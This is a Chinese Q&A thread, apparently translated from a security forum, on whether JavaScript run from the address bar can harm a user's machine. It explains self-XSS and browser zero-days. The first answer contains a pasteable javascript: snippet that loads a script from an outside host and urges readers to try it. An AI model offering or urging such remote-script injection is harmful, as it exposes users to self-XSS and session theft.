从地址栏执行 javascript 会对客户端机器造成任何伤害吗?

信息安全 网页浏览器 javascript 网址
2021-08-31 14:24:17

鉴于当今现代浏览器禁止 JavaScript 访问客户端机器上的任何资源这一事实,从地址栏执行 JavaScript 是否会对客户端机器(运行浏览器的机器)构成任何威胁?

2个回答

从地址栏执行的 JavaScript 将在该选项卡中显示的网站上下文中运行。这意味着可以完全访问该网站,并且从用户的角度来看,它可能会改变网站的外观和行为方式。

这种攻击称为自我 XSS,可能对用户造成伤害,并间接对机器造成伤害。信誉良好的网站可以要求用户下载并安装一段恶意的可执行代码,例如假装它需要 Flash 更新。

要获得一个很好的视觉示例,请手动输入javascript:您的地址栏,然后粘贴: z=document.createElement("script");z.src="https://peniscorp.com/topkek.js"; document.body.appendChild(z);如果您不信任我,请在您未登录的网站的地址栏中进行操作。

大多数浏览器已经意识到了这个漏洞,并试图通过在地址栏中javascript:粘贴时剪切来限制影响。javascript:some_js_code但是仍然可以手动编写并执行它。

我想完成 Cristian Dobre 的已接受答案,该答案正确但不完整。

在某些情况下,执行 javascript(无论是通过地址栏还是通过更经典的方式在这里都无关紧要)可以通过利用浏览器中的缓冲区溢出(或类似缺陷)导致远程代码执行。这就是为什么定期修补浏览器非常重要的原因之一。

这样的事件在野外很少发现,但确实存在,并且每年都会发现新的事件(Chrome 的数量少于 Firefox,Firefox 的数量比 IE 少,过去)。

SO上的一个很好的例子: https ://stackoverflow.com/questions/381171/help-me-understand-this-javascript-exploit

所以,回答你的问题:是的,它可能会损害客户的机器。如果机器已完全修补,则只有零日(极不可能但在技术上仍然可行)可能会造成这种伤害。具有这种能力的零日攻击大多“幸运地”用于有针对性的攻击,以避免引起注意并最大限度地提高未被检测到的机会(以及因此未来的重用)。